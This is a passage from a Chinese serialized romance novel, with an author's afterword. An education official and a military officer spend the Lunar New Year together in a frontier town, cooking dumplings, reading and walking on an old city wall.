“一个人过年冷清,”刘惠快人快语,“要不年三十来我家?添双筷子的事儿!” “谢谢刘姐,不用麻烦了。我一个人挺好的,看看书,写点东西。” “你呀,就是太拼。”张雅琴摇头,“也该歇歇。对了,听说没?咱们这儿,开年可能要有大变动。” “什么变动?”舒染随口问。局里人事风声常有,她不太在意。 “好像是上头要成立一个什么……边疆综合治理办公室?级别挺高,直接对全疆负责。”张雅琴压低声音,“说是要把教育、保卫、民政、生产建设几个口子的资源统筹起来,搞试点。咱们韩局可能要去兼个副主任。” 舒染心里微微一动。这好像和之前在首都听到的消息一致。 “八字没一撇呢,传了好久了。”刘惠不以为然,“就算真成立,跟咱们小干部关系也不大。舒啊,你真不来我家过年?我包酸菜馅饺子!” 舒染再次婉拒,提着年货回了宿舍。她把东西放在墙角,拍了拍手上的灰,坐到桌前,却有点看不进去材料了。 综合治理办公室……陈远疆会不会回来? 这个念头只是一闪而过。她摇摇头,驱散杂念。不管他在哪里,做什么,她相信他有能力处理好。而她,只需要做好自己的事。 傍晚,她去食堂打饭。因为快过年,食堂加了菜,多了好几道肉菜。打饭的师傅认得她,给她勺里的肉明显比别人多抖了两下。 “舒老师,一个人过年?多吃点,补补!”老师傅嗓门洪亮。 “谢谢师傅。”舒染端着饭盒,找了个角落坐下。食堂里人不多,大多是家不在此地的单身职工,稀稀拉拉坐着,埋头吃饭,没什么交谈。 她安静地吃着。红烧肉炖得软烂,肥而不腻,是久违的好滋味。她慢慢嚼着,看着窗外渐渐暗下来的天色,心里忽然冒出一个念头:如果陈远疆在就好了。 倒也不是是依赖,她只是觉得这样的时刻,有个人能一起安静地吃顿饭,聊几句闲话,或许会更有烟火气。 她很快压下这个念头。独立惯了的人,不习惯把期待寄托在别人身上。 吃完饭,洗碗,回宿舍。 她洗了把脸,坐在床边,就着灯光看了一会儿书。是吴教授寄来的几本教育学译著,里面夹着他写的笔记纸条。思想有前瞻性,但需要结合国情批判吸收。 看到九点多,眼睛有些涩。她放下书,准备洗漱睡觉。 就在这时,门外传来了敲门声。 不轻不重,是陈远疆惯有的敲门节奏。 她心中一动,立刻起身,披上外衣走到门边:“谁啊?” “是我。” 舒染赶忙拉开了门。 门外走廊昏暗的光线下,站着陈远疆。 他穿着深色的军大衣,风尘仆仆。眉眼间带着长途跋涉的倦色,但那双眼睛,在看到她那一刻亮了起来。 “……你怎么来了?” “任务结束,我回来了。”他看着她,像是要找出分别这些日子里的变化,“来报到。” “调令?”舒染一时没反应过来,“调哪儿?” “V城。新成立的单位。” V城?新单位?舒染脑海里迅速串联起张雅琴下午的话。边疆综合治理办公室?所以他真的…… “你……”她张了张嘴,一时间竟不知该问什么。惊讶,疑惑,还有猝不及防的喜悦。 陈远疆看着她有些愣怔的样子,嘴角弯了弯。他侧了侧身,示意了一下走廊:“不请我进去?外面冷。” 舒染这才恍然,赶紧让开门口:“进来吧。” 陈远疆迈步进来,他摘下帽子,拍了拍肩上的雪沫。 舒染关上门,转过身。两人隔着几步的距离站着,都没有说话。 “快坐下歇歇。”舒染先开口,指了指屋里的一把椅子,自己坐到了床边。 陈远疆依言坐下,目光一直跟着她。 “什么时候到的?”舒染问,拿起桌上的暖瓶,给他倒了杯热水。 “晚饭时间。”陈远疆接过杯子,“先去了新单位安顿了住的地方,就过来了。” “吃晚饭了吗?” “在单位食堂吃了点。” 又是短暂的沉默。分别太久,竟有些不知从何说起。 “你……瘦了。”陈远疆忽然说。 舒染摸了摸自己的脸:“有吗?还好。跑了几趟教学点,可能晒黑了点。”她抬眼看他,“你也瘦了。任务很累?” “嗯。要学的东西多。”他顿了顿,看着她的眼睛,“但值得。” 这话意有所指。舒染垂下眼,“新单位怎么样?边疆综合治理办公室?” “你知道?”陈远疆有些意外。 “听同事提过一嘴。我猜你可能会去。” “嗯。主要负责安全保卫和边境稳定这一块,兼顾一些协调。”他像是在说一件再普通不过的工作安排,“级别提了些,责任也更重。” 舒染点点头。她能想象。以他的能力和背景,加上这次深造,被委以重任是顺理成章的事。负责全疆的保卫和边境稳定这担子估计也够沉的。 “压力很大吧?”她轻声问。 陈远疆沉默了片刻,“比以前好。至少,离你近了。” 舒染抬起眼对上他的视线,“是啊,结束了异地。以后见面方便了。” 陈远疆“嗯”了一声,没再多说。他只是看着她,那目光太专注,以致于让舒染有些不自在,又有些心头发软。 “你住哪儿?”她岔开话题。 “单位分的房,离这儿有点距离。”他说,“带个小院。暂时一个人。” “条件不错。” “还行。”他顿了顿,“有时间带你去看看?” 陈远疆好像并没有意识到自己的话有些暧昧,接着说道:“那里东西挺全的,到时候我可以带你去尝尝我做的……” 舒染眼里带了点狡黠的笑意,“陈大领导这是在邀请我去参观新居?” 陈远疆明显噎了一下,握着杯子的手指收紧了些。“不是……就是,随口一说。”他移开目光,“你忙,不用特意去。” 看他这副别扭的样子,舒染的笑意更深了。 “等有空吧。”她语气轻松下来,“过年这几天,我正好没什么事。” 陈远疆眼里亮了一下:“你过年不回家?” “不回。在这儿过。” “那……年三十,你打算怎么过?” “自己过呗。包点饺子,看看书。”舒染故意说得随意。 陈远疆的眉头皱了起来,“一个人?” “嗯。” “我年三十晚上,单位有聚餐,但结束得早。我……我可以过来。如果你不嫌麻烦的话可以去我那里,我那里东西齐,做年夜饭也方便。” 他说完,眼睛一眨不眨地看着她。 舒染没立刻回答,而是起身,走到炉子边,用火钳夹了块煤放进去。 炉火更旺了些。 “陈远疆。”她背对着他开口。 “嗯?” “你调回来,只是因为工作安排,还是……”她转过身,直视着他,“有别的考虑?” “工作安排是主要原因。”他回答得很认真,“新成立的机构需要人,我的专业和经历符合要求,组织上征求了我的意见。” 他停顿了一下,声音低了下去,“但我确实……向组织反映了个人情况。我说,我在V城有牵挂的人。如果能调回来,对稳定我个人状态,更好地投入工作,有帮助。” 舒染转身看着他,他也看着她。 “知道了。”舒染笑了笑。 “那……年三十?”他又问了一遍。 “你那边……方便吗?”她问,主要是考虑影响。 “方便。”他答得干脆,“院子独门独户,周围住的也都是单位同事。” 舒染想了想。自己这边宿舍确实狭小,炉子也不算特别旺,包饺子做饭都略显局促。一个人过年,也确实是冷清。去他那儿,地方大,物资想必也更丰富些——以他现在的级别,年货配给肯定比她这边充裕得多。 更重要的是,她心里并不排斥这个提议。甚至……有点隐约的期待。 “好,那就去你那打扰一下啦。”她没多矫情,点了点头答应。 “你这次去首都的任务,彻底完成了吗?还要不要再去了?”舒染重新坐下,问起了正事。 陈远疆的神情也严肃了些,开始跟她讲起保密内容之外的见闻,接触的新思想。他说得很简要。 舒染听着,偶尔插话问几句。两人就着边疆发展的话题,竟也聊了将近一个小时。 直到炉子里的火渐渐弱下去,陈远疆才意识到时间晚了。他看了眼桌上那个马蹄钟,快十一点了。 “我该走了。”他站起身,拿起帽子。 舒染也站起来:“路上小心。雪天路滑。” 陈远疆点点头,推门离去。 除夕这一天很快就到了。 舒染是被隐约的鞭炮声和敲门声吵醒的。她拥被坐起,看了看桌上的马蹄钟,才早上九点多。 她披上外衣,趿拉着鞋走到门边:“谁啊?” “是我。”门外传来陈远疆的声音。 舒染拉开了门。陈远疆站在门外。他这次手里没拿东西,见她睡眼惺忪的样子,眼神都变得柔和了。 “吵醒你了?”他问。 “没事,也该起了。”舒染拢了拢头发,“这么早就去吗?” 她原本还想着去供销社买一点东西带过去,实在不好空手过去。 “不急。”陈远疆站在门外,没有进来的意思,“我在院里等你。”他指了指不远处停着的那辆军绿色吉普。 舒染快速洗漱,换了身列宁装,把头发仔细梳好。想了想,又把昨天准备好的那点白面、带鱼、花生糖果装进网兜,虽然知道这点东西在他那边可能不算什么,但空手上门总是不好。 她拎着网兜出门时,陈远疆正靠在吉普车旁,听到动静,他转过身,目光落在她手里的网兜上。 “不用带这些。”他说,“那边都有。” “一点心意。”舒染笑笑,拉开车门上了副驾驶。 陈远疆没再说什么,也上了车。车子发动驶出后院。 V城的街道比平日安静许多,行人也稀少,偶尔有穿着新衣、戴着棉帽的孩子跑过。 车子开了约莫二十分钟,从主干道拐进一条相对清净的街道。两边是整齐的院墙,看得出来比舒染住的地方规格要高。陈远疆在其中一扇铁门前停下。 “到了。”他下车,从大衣口袋里掏出钥匙,打开了铁门上的挂锁。 门推开,是一个十分规整的院落。地面用砖铺过,扫得干干净净,角落堆着整齐的煤块和引火柴。正面是三间坐北朝南的屋子,东侧搭了个简易的棚子,下面堆着些杂物,西侧则有一小片土地,此刻覆着雪,想来开春后能种点东西。 “进来吧。”陈远疆侧身让她先进。 舒染走进院子,好奇地打量。屋子显然被精心收拾过,窗台上没有灰尘,门口的台阶也扫得干净。陈远疆打开中间屋子的门。这是堂屋兼客厅,面积不小,地上铺着红砖,靠墙摆着一张八仙桌,两把椅子,一个矮柜。最显眼的是屋子正中央那个带着火墙的炉子,此时散发着热气,让整个屋子暖烘烘的。 “把外套脱了吧,屋里热。”陈远疆说着,自己也脱了大衣,挂在门后的衣帽架上。里面穿的是一件军绿色绒衣,更显得肩宽腰窄。 舒染也脱了大棉衣。炉子旁边放着一把铁皮水壶,正冒着白汽。 “右边这间是卧室,左边是书房兼客房。”陈远疆简单介绍,“厨房在堂屋后面,连着个小饭厅。厕所在院子西南角。” 他边说边领着舒染大致看了看。卧室陈设简单,一张宽大的木床,铺着军绿色的床单,被子叠成标准的豆腐块。书房里一张书桌,两个书架,上面摆满了书和文件,墙上挂着一幅巨大的地图。 厨房果然宽敞,有正式的灶台,碗柜里锅碗瓢盆齐全,墙上挂着腊肉、风干牛肉,角落的米缸面缸都是满的,案板上还放着新鲜的蔬菜和一大块猪肉。 物资何止是齐全,简直是丰富。舒染带来的那点东西,顿时显得寒酸了。 “你这是把供销社搬回来了?”她忍不住调侃。 陈远疆脸上掠过一丝不好意思的神情:“单位分的,还有一些老战友、老同事送的。我一个人吃不完。” 他走到碗柜前,拿出一个搪瓷盆:“你先坐会儿,烤烤火。我去和面。馅儿我昨天就剁好了,在碗柜里镇着,白菜猪肉,还加了点虾皮提鲜。”他顿了顿,补充道,“虾皮是托人去口岸那边捎的。” 舒染心里一动。虾皮……在这内陆边疆,可是稀罕物。他不仅准备了,还特意说明来源,是怕她觉得东西来路不正? “我帮你。”她挽起袖子,“和面我也会。” “不用,你歇着。”陈远疆已经利落地舀了面粉倒进盆里,“水凉。” “一起快些。”舒染不由分说,找到围裙给自己系上,又拿了个小盆准备舀水。 陈远疆看了她一眼,没再坚持,只是默默把温水壶递给她。 两人在厨房里忙活起来。陈远疆和面,动作熟练有力,三下两下就把面团揉得光滑不沾手。舒染则把镇在碗柜里的馅盆端出来,重新搅拌了一下,尝了尝咸淡,又加了点盐和香油。 配合默契,仿佛已经这样做过许多次。 面团醒着的时候,陈远疆开始处理其他年货。他把那条大鱼拿出来,动作麻利地刮鳞去内脏,清洗干净,在鱼身上划了几刀,用盐和葱姜腌上。又把那两只鸡剁成块,准备一会儿炖汤。腊肉切片,蔬菜清洗。 舒染则把堂屋的八仙桌擦干净,铺上一块干净的塑料布,准备好盖帘、擀面杖。 一切就绪,开始包饺子。 陈远疆擀皮,舒染包。陈远疆起初有些慢,但很快上手,皮子擀得又快又圆。舒染包饺子的手法娴熟,不一会,一个个饺子便排列在盖帘上。 “你以前,常包饺子?”舒染随口问。 “次数不多。”陈远疆手下不停,“父母走得早,后来跟着部队,炊事班过年会组织大家一起包。算是学过。”他看着舒染手中的饺子,脸上露出笑意,“你包得很好看。” “熟能生巧。”舒染笑了笑,“在畜牧连那几年,有时候改善生活,王大姐她们就张罗着包饺子,我跟着学的。” 提到畜牧连,两人似乎都有许多回忆,但都没再深谈。有些共同的过去,放在心里就很好。 炉火很旺,水很快烧开。第一批饺子下锅,在滚水里沉沉浮浮,渐渐变得晶莹饱满。陈远疆拿着笊篱,专注地看着火候。 “可以了。”舒染说。 陈远疆捞起饺子,盛在盘子里,热气腾腾,香味扑鼻。 除了饺子,他还炒了两个菜:腊肉炒蒜苗,醋溜白菜。鱼做了红烧,鸡炖了野蘑菇土豆汤。不算多么精致,但分量十足,色泽诱人,摆满了小饭厅的桌子。 窗外,天色已经完全暗下来。鞭炮声比白天密集了许多,此起彼伏,远远近近,夹杂着孩子们的欢笑声,偶尔有烟花在夜空中炸开。 陈远疆拿出一瓶老乡自酿的葡萄酒和两个小酒盅。 “喝一点?”他问。 “好。”舒染点头。 两人相对坐下。 “过年好。”舒染举起酒盅,微笑道。 “过年好。”陈远疆与她轻轻碰杯,眼神显得格外柔和。 一小口酒下去,带来融融暖意。 “吃菜。”陈远疆给她夹了一大块鱼肚子上的肉,“小心刺。” “你自己也吃。”舒染也给他夹了个饺子。 饭菜很香,是家常味道。两人安静地吃着,偶尔交谈几句,点评一下饭菜的咸淡,或者说起单位里过年的趣事。 吃完年夜饭,一起收拾了碗筷。陈远疆不让舒染碰凉水,自己把锅碗都刷洗干净。舒染则把桌子又擦了一遍,泡了一壶茶。 两人移步到堂屋,坐在炉子边的椅子上,捧着热茶。 外面的鞭炮声噼里啪啦的,火光透过窗户,忽明忽暗地映在两人脸上。 在这震天的喧闹声中,小小的堂屋里显得格外宁静。 “又一年了。”舒染看着炉火,轻声说。 “嗯。”陈远疆应了一声,目光落在她的脸上,“时间过得快。” “你这一年,很不容易吧?”舒染转过脸看他。新单位,新职务,千头万绪,压力可想而知。 陈远疆喝了口茶。“还好。习惯了。”他抬眼看着她,“比想象中好。至少……心里是定的。” 他没说为什么是定的,但舒染听懂了。她垂下眼,看着杯中的水,嘴角微微弯起。 “我这边也挺好。”她说,“案例报上去了,反响不错。开春打算重点推教师队伍建设的报告,还有那个综合治理试点,如果落地,教育这块我想争取更多实质性支持。” “试点方案已经在走程序了。”陈远疆提供了确切信息,“教育是重要板块,到时候可能需要你参与一部分设计。” “好。”舒染点点头。 他们又聊了聊工作上的设想,边疆发展的看法。 鞭炮声渐渐稀疏下去,偶尔传来一两声,更显得夜深人静。 陈远疆看了眼钟,快十一点了。他站起身:“不早了,我送你回去?” 舒染也站起来,犹豫了一下。从这里回教育局宿舍,开车来回也得四十多分钟。外面天寒地冻,他送完她再回来,折腾得够呛。 “要不……”她开口,有点迟疑,“我住左边那间客房?方便吗?” 陈远疆显然没料到她会主动提出留下,愣了一下,随即立刻点头:“方便。被子床单都是干净的,我昨天晒过。”他语速有点快,“炉子一直烧着,不冷。就是……条件简单了些。” “没关系,比宿舍也不差。”舒染松了口气。这样大家都方便,也更自然些。 陈远疆去客房检查了一下,确认火墙通气,被子厚实。他在铁炉子上放了一壶水,又提来一桶凉水,又给她拿了新的毛巾和牙刷,以及两个搪瓷盆,甚至还细心地准备了一个暖水袋。 “灌好热水了,晚上冷可以捂着。”他把暖水袋递给她。 “谢谢。”舒染接过。 “那你早点休息。”陈远疆站在客房门口,没有进去的意思,“我就在隔壁,有事喊我。” “嗯,你也早点睡。” 陈远疆点点头,替她带上了房门。 舒染站在客房里,听着门外的脚步声走向堂屋,然后是轻微的关门声。她走到窗边,看着窗外偶尔被远处烟花照亮的院落。 心里有一种说不出来的踏实和温暖。 这个除夕,和她预想的完全不同。 她洗漱后躺进被窝。被子有阳光晒过的味道,暖水袋焐在脚下暖烘烘的。 在即将入睡的蒙眬中,她听到堂屋那边传来了踱步的声音,只持续了一小会儿,便恢复了安静—— 作者有话说:故事走到这里也要接近尾声了,舒染的事业路究竟该走到什么地步,我思量了很久。 她刚来时想的,不过是活下去。后来,在地窝子里,在启明小学,那点念头变成了活得漂亮一点,如果说得更有私心一点那就是为自己镀层金,再让自己的一腔理想慢慢渗透一些出来。 一路走到现在,从畜牧连的工具棚,到师部的办公室,再到V城的研究室,她已经站在了一个令许多人羡慕的位置。她影响着政策,声音能直达决策层。更重要的是,她拥有了话语权和选择权,可以选择如何分配自己的时间、精力与热爱。 我让她的职位止步于此,是深思熟虑后的决定。 因为舒染的成功,在我心里从来不是一张不断攀升的职务履历表。她不必成为全国瞩目的标杆,不必卷入权力中心。她现在的位置足够她深耕理念,连接上下,庇护一线,做一些长远的事,这已经实现了她的初心。 或许这也掺杂了我的一点私心。我不忍看她永远绷紧弦,在更高的权力与责任中耗尽心神,我更想给她一种更从容的活法。 我个人以为,一个女性的圆满不应只有事业登顶这一条路。舒染证明了她的能力与魄力,而现在她选择了更惬意的节奏。她是一位教育者,教育者的成功,未必是燃烧自己照亮别人。 所以这就是我所理解的一种好结局。她不必符合所有关于女性巅峰的想象,她只需成为她自己——清醒,自足,有选择权,也有余地享受生活。 感谢大家一路陪伴,希望这个故事走向能给大家一些成功和幸福的思考。 我们故事里见。 第160章 第二天, 天还没亮透。 舒染在陌生的床上醒来,有几秒钟的茫然。枕头上是干净的被褥气味,混着一点淡淡的肥皂香。 她翻了个身, 听见隔壁堂屋传来响动——是炉钩子拨动煤块的声音,铁器碰撞的轻响, 还有水壶放在炉子上的声音。 她躺着没动。外面很安静,偶尔有一两声遥远的鸡鸣,衬得这个早晨格外安宁。 昨晚睡得很好, 比她预想的要好得多。暖水袋一直温到后半夜,被子厚实,火墙散热均匀,整夜都没觉得冷。也没有认床, 这倒是稀奇。 或许是因为知道隔壁有一个让她觉得安心的人。 她又在被窝里蜷了一会儿才坐起身穿衣服。桌子上有镜子和梳子, 她扎了个简单的马尾。暖水袋里的水已经凉了, 她把它放在床头柜上, 起身叠被子。 刚叠好, 敲门声响起很轻的两下。 “醒了?”陈远疆的声音隔着门板传来。 “嗯, 起了。”舒染应着,走过去拉开门。 陈远疆站在门外, 头发也有些湿,像是刚洗过脸, 手里端着个搪瓷缸子,热气从缸口升起。 “洗脸水放在堂屋炉子边上了, ”他说, “这个给你,先喝点热水。” 舒染接过缸子小口喝着,看他转身去堂屋提热水。 炉子烧得很旺, 堂屋里暖烘烘的。两个搪瓷盆放在炉子边的地上,一个里面是热水,冒着白汽,另一个是凉水。毛巾搭在炉边的铁丝上。 “你先洗。”陈远疆把热水盆往她这边推了推,自己走到八仙桌旁,背对着她收拾桌上的茶壶茶杯。 舒染没推辞,蹲下身开始洗漱。水温正好,不烫手。她洗脸的动作很快,拧毛巾时水声哗啦。 “早饭想吃什么?”陈远疆的声音从背后传来,他还在擦桌子,动作很慢,像是在找话说,“有昨天剩的饺子,可以煎一下。还有小米,能熬粥。白面也有,能做点饼子。” “都行。”舒染擦干脸,把毛巾搭回铁丝上,“简单点就好。” “那就煎饺子,熬点粥?”他转过身来,“我再摊两个鸡蛋。” “好。”舒染把洗脸水倒进旁边的桶里,端着盆准备去院子里倒掉。 “给我。”陈远疆几步走过来接过盆,“外头冷,你别出去了。” 他端着盆推门出去,很快又回来,手里空了,肩膀上落了几片雪。 “下雪了?”舒染看向窗外。果然,灰蒙蒙的天空里飘着雪。 “嗯,夜里就开始下了。”陈远疆拍了拍肩上的雪,“估计一会儿就停了。” 他去厨房忙活,舒染跟了过去。厨房里也很暖和,灶台的火已经生起来了,小锅里熬着小米粥。另一口平底锅里,昨天剩下的饺子正被煎得滋滋响。 陈远疆在案板前打鸡蛋,筷子搅动着蛋液。 “要我帮忙吗?”舒染站在厨房门口问。 “不用,马上就好。”他说着,往搅好的蛋液里撒了点盐,“你去堂屋坐着等,这儿油烟大。” 舒染没走,就倚在门框上看他忙活。他个子高,站在灶台前得微微弓着背。 很熟练。看得出来是常做饭的人。 “你经常自己做饭?”她问。 “嗯。”陈远疆没回头,专注地盯着锅里的饺子,“在边境那几年,宿舍有炉子,就自己弄。后来去首都学习,住的地方也有小厨房。” 他把煎好的饺子盛到盘子里,金黄油亮的一盘。又把搅好的蛋液倒进锅里,蛋液迅速膨胀起来,边缘泛起焦黄的泡泡。他用锅铲轻轻一推,整张蛋饼翻了个面,另一面也煎得恰到好处。 “好了。”他把煎蛋铲出来,切成四块,和煎饺摆在一起。小米粥也熬好了。 两人把饭菜端到堂屋的八仙桌上。 陈远疆给舒染盛了满满一碗粥,又往她面前推了推煎饺的盘子:“多吃点。” “你也吃。”舒染夹了个煎饺放到他碗里。 屋里很安静,只有吃饭时的细微响声。 “今天有什么安排?”舒染喝完最后一口粥,放下碗问。 陈远疆正在收拾碗筷,闻言动作顿了一下:“没什么特别安排。你想出去转转吗?供销社今天应该还开门,可以买点东西。或者就在家里待着也行。” 他说“家里”这个词时,语气很自然,像是顺口而出。但说完后沉默了一下,低头继续收拾碗筷,没看她。 舒染假装没注意到,想了想说:“下着雪呢,就不出去了吧。在家待着挺好。” “好。”陈远疆应得很快,端着碗筷进了厨房。 舒染跟过去帮忙。他洗碗,她就在旁边擦干。厨房窗户上也蒙了一层水汽,外面的雪景变得模模糊糊的。 “你这边书挺多的。”舒染擦着碗,随口说,“昨天在书房看了一眼,好些书我都没见过。” “有些是从口里带回来的,有些是托人买的。”陈远疆冲洗着碗筷上的泡沫,“你想看的话随便拿。书房那个藤椅坐着舒服,炉子也通那边,不冷。” “那我待会儿去看看。” 洗完碗,陈远疆去院子里铲煤。舒染擦干手,走进书房。 书房比她昨晚匆匆一瞥时看到的更整齐。两个大书架靠墙立着,上面的书分门别类摆得很清楚——思政著作、军事理论、历史地理、还有一些技术类书籍,机械、农业、畜牧什么的。最下面一层塞满了文件和笔记本。 书桌上只有一个笔筒,一个台灯,一本摊开的笔记本。笔记本上写满了字,舒染没细看内容,只扫了一眼,字写得很遒劲。 她在藤椅上坐下。椅子确实舒服,坐垫厚软。炉子的热气透过火墙传来,整个书房暖洋洋的。 她从书架上抽了本《边疆地理》,翻开看了起来。是本旧书,但保存得很好。 看了没几页,陈远疆进来了。他提了个铁皮暖壶,放在书桌旁的小几上:“给你灌了热水,渴了记得倒水喝。” “谢谢。”舒染抬头看他,“你忙你的,不用管我。” “嗯。”他在书桌前坐下,翻开那本笔记本,拿起钢笔开始写什么。 书房里安静下来。 舒染看了会儿书,眼睛有些酸。她放下书,看向窗外,院里的地面已经铺了一层白。 “看累了就歇会儿。”陈远疆没抬头,手里的笔也没停,但好像一直注意着她这边的动静。 “还好。”舒染说,“这书写得挺有意思的。你看过吗?” “翻过。”陈远疆这才抬起头,看向她手里的书,“有些数据过时了,但基本的地理概况还能参考。” “你这些书里,关于教育的多吗?” “有一些,不太多。”陈远疆放下笔,起身走到书架前,在第二层翻了翻,抽出两本递给她,“这本是几年前编的,内容有些旧,但里面有些方法可以参考。这本是内部资料,讲得比较实际。” 舒染接过翻了翻,果然比她手头的资料更详实。“能借我看看吗?” “你拿去看。”陈远疆坐回书桌前,“书房里的书,你随便拿。” “那我就不客气了。”舒染把两本书放在膝上,继续看手里那本地理书。 中午饭简单,热了热昨天的剩菜,煮了锅面条。饭后陈远疆说要去单位值班室打个电话,问问这两天有没有什么紧急通知。 “我跟你一起去?”舒染问。 “不用,”陈远疆穿上大衣,“你在家待着,我很快回来。” 他出门后,舒染把堂屋的地扫了扫。雪还在下,院子里已经积了厚厚一层。 她站在堂屋门口看了会儿雪,忽然想起什么,转身去厨房找了把扫帚,推门走到院子里。 雪很厚,踩上去咯吱咯吱响。她开始扫雪,从门口扫出一条小道,一直通到院门。扫到一半,身上就出汗了。 刚扫完院门口,陈远疆回来了。他老远就看见她在扫雪,脚步加快了些,走到院门口时,眉头皱了起来:“怎么出来了?多冷。” “活动活动,不冷。”舒染拄着扫帚,喘着气笑,“看,扫干净了。” 陈远疆看着她冻得发红的鼻尖没说话,伸手接过扫帚:“进去吧,剩下的我来。” “就差一点儿了。”舒染不肯松手,“一起扫完。” 陈远疆看了她两秒,妥协了,拿起一个扫帚和舒染并排扫雪,“那你扫这边,我扫那边。” “电话打了吗?”舒染问。 “打了,没什么事。”陈远疆说,“值班人员说这两天没事,可以好好过年。” “那就好。” 很快扫完了。陈远疆把扫帚放回棚子下,转身看见舒染在拍身上的雪,头发上沾了好些雪花。 他下意识伸手,想帮她拍掉,手伸到一半又停住了,在半空中收了回来。 “头发上有雪。”他说。 “哦。”舒染自己抬手拍了拍,“好了吗?” “嗯。”陈远疆把舒染的围巾拢了拢,“进屋吧,外头冷。” 下午两人都在书房。陈远疆继续写他的材料,舒染继续看书,看到有意思的地方,她会低声念出来,跟陈远疆讨论几句。 “你看这里,”她指着书上一段,“这个少数民族作者也说,牧区孩子入学率低,不只是因为路途远,还因为家长觉得上学没用,不如在家帮忙放羊。” “嗯。”陈远疆抬头,“实际情况是这样。我小时候,家里也是这么想的。” “那后来你怎么读书的?” “后来……”陈远疆笔尖顿了顿,“后来父母不在了,老首长把我接走,送去学校。刚开始什么都不会,连汉语都说不利索。” 他说得很简单,但舒染能想象出来,一个失去父母的牧区孩子,突然进入完全陌生的环境该有多难。 “不容易。”她轻声说。 “都过去了。”陈远疆继续低头写字,“现在想想,能读书是运气。” 舒染没再问,低头继续看书,书房里又安静下来。 傍晚时分,雪停了。陈远疆放下笔,揉了揉手腕:“晚上想吃什么?” 舒染从书里抬起头,看了眼窗外:“随便做点就好。要不我帮你做饭?” “不用,你歇着。”陈远疆站起身,“我去看看有什么菜。” 他去了厨房,舒染也合上书,跟了过去。厨房里,陈远疆正从碗柜里往外拿东西——一块牛肉,几个土豆,一把干豆角,还有两个洋葱。 “牛肉炖土豆?”他问。 “好。”舒染挽起袖子,“我来切菜。” 这次陈远疆没拒绝,把刀递给她,自己去生火。舒染把土豆切成滚刀块,牛肉切块,洋葱切丝。 陈远疆往锅里倒了点油,油热后把肉放进去炒。香味立刻飘出来,混着葱姜的香气,弥漫了整个厨房。 “真香。”舒染吸了吸鼻子。 “饿了吗?”陈远疆回头看她,眼里带着笑意,“马上就好。” 等饭好的时间里,两人靠在厨房门框上闲聊。聊的都是琐事,单位里谁家孩子考上学了,谁家老人病了,供销社新到了一批什么货。 很平常的对话,但舒染听着,心里有种说不出的安宁。 在畜牧连时,她要拼命证明自己,要站稳脚跟。在师部、在V城,日子忙碌,要写报告,要下基层,要应付各种关系和压力。 像这样没有目的的闲谈,几乎没有过。 “饭好了。”陈远疆掀开锅盖,蒸汽腾起,香味更加浓郁。他用锅铲翻了翻,夹了一筷子尝了尝咸淡,“可以了。” 两人把饭菜端到堂屋。炖得软烂,土豆吸饱了汤汁,豆角也炖得入味。就着米饭,吃得浑身舒坦。 吃完饭,陈远疆照例不让舒染洗碗。舒染也没坚持,坐在堂屋里泡了壶茶,等他洗好碗过来。 窗外已经完全黑了。 陈远疆洗好碗过来,在舒染对面坐下。两人喝着茶,谁也没说话,就这么安静地坐着。 “陈远疆。”舒染忽然开口。 “嗯?” “谢谢你。”她说,“这个年,我过得很高兴。” 陈远疆的目光落在她脸上,“我也很高兴。” 两人对视了几秒,又都移开视线。 “明天,”陈远疆顿了顿,“明天你还在这儿吗?” “初六就上班,”舒染想了想,“我该回宿舍了。得回去准备准备。” “嗯。”陈远疆应了一声,声音有点闷,“那我送你。” “好。” 又是一阵沉默。 “要不……”陈远疆忽然说,“明天我带你出去转转?V城有几处地方,还挺有意思的。” “去哪儿?” “有个老城墙,虽然破败了,但上去能看到全城。还有个旧货市场,过年这几天也开着,能淘到些稀奇古怪的东西。”陈远疆说着,语气里带了点期待,“你要是想去,咱们上午去,下午回来,不耽误你收拾东西。” 舒染看着他眼里的期待,心里一软,笑了:“好啊。那就去转转。” 陈远疆嘴角弯了弯,低头喝茶。但舒染能看出来他心情很好。 喝完茶,两人又坐了会儿,各自洗漱休息。 舒染躺在床上,听着隔壁堂屋的动静。陈远疆拨了拨火,又检查了门窗,才回了自己房间。 脚步声很轻,关门声也很轻。 初二早上,雪停了,天放晴了。 舒染醒来时,听见厨房已经有动静了。她起身穿衣,推开门,看见陈远疆正在灶台前忙活。炉子上坐着锅,锅里煮着什么,热气从锅盖边缘溢出来。 “粥马上好。”陈远疆回头看她,“我还烙了饼,在筐里,你先吃。” 舒染走到灶台边,掀开锅盖看了看,是小米粥,熬得浓稠。旁边盘子里放着几张烙饼,金黄油亮,还冒着热气。 “你起这么早?”她问。 “习惯了。”陈远疆把粥盛到碗里,“去堂屋坐着吃,这儿油烟大。” 舒染端着粥和饼去了堂屋。饼是葱花饼,外酥里软。 陈远疆也盛了碗粥过来,在她对面坐下。两人安静地吃着早饭。 “今天天气不错。”舒染说,“正好出门。” “嗯。”陈远疆点点头,“吃完咱们就走。上午去城墙,中午在外面吃,下午去旧货市场转转,然后送你回宿舍。” “好。” 吃完饭,陈远疆载上舒染,雪地上轧出两道车轮印。 街道上人不多,偶尔有走亲访友的人提着礼品走过。 二十多分钟就到了城墙。说是城墙,其实只剩下一段土垒的残垣。 陈远疆把车停在路边,带着舒染沿着一条被人踩出来的小路往上走。雪有点深,踩下去没过脚踝。陈远疆走在前头,让舒染跟着走。 “小心点,这儿滑。”他回头说,伸手扶住她,“走这边,这边雪浅。” 舒染跟着他,一步一步往上走。爬到城墙顶上时,微微有些喘。陈远疆已经站在那里,等她上来。 “看。”他指着前方。 舒染顺着他指的方向看去。 整个V城尽收眼底,能看到更远处绵延的戈壁和雪山。雪把一切都覆盖了,白茫茫一片。 “真好看。”舒染轻声说。 “看得远,就想得开。” 舒染转头看他。他站在城墙边上,眼神很平静地看着远方,不知道在想什么。 “你来过这儿?”她问。 “嗯。”陈远疆说,“有时候站在这想想事,心里会平静很多。” 舒染没说话,也看向远方。视野开阔,心情也跟着开阔起来。 两人在城墙上站了会儿,陈远疆走到舒染面前,“下去吧,别冻着了。” 下城墙比上去难,雪滑。陈远疆走在前头,每一步都踩稳了,才回头看她:“跟着我脚印走,慢点。” 舒染跟着他的脚印,一步一步往下挪。走到一处陡坡时,脚下一滑,整个人往前栽去。 陈远疆反应极快,转身一把抓住她的胳膊,用力一拉。力道太大,舒染撞进他怀里,鼻子磕在他胸膛上,有点疼。 几秒钟后,陈远疆松开了手,往后退了半步,耳根有点红:“没事吧?” “没事。”舒染捋了捋被风吹乱的头发,“多谢你了,不然我就要和大地亲密接触了。” “这儿滑,你挽紧我。”陈远疆说着把胳膊伸过来。 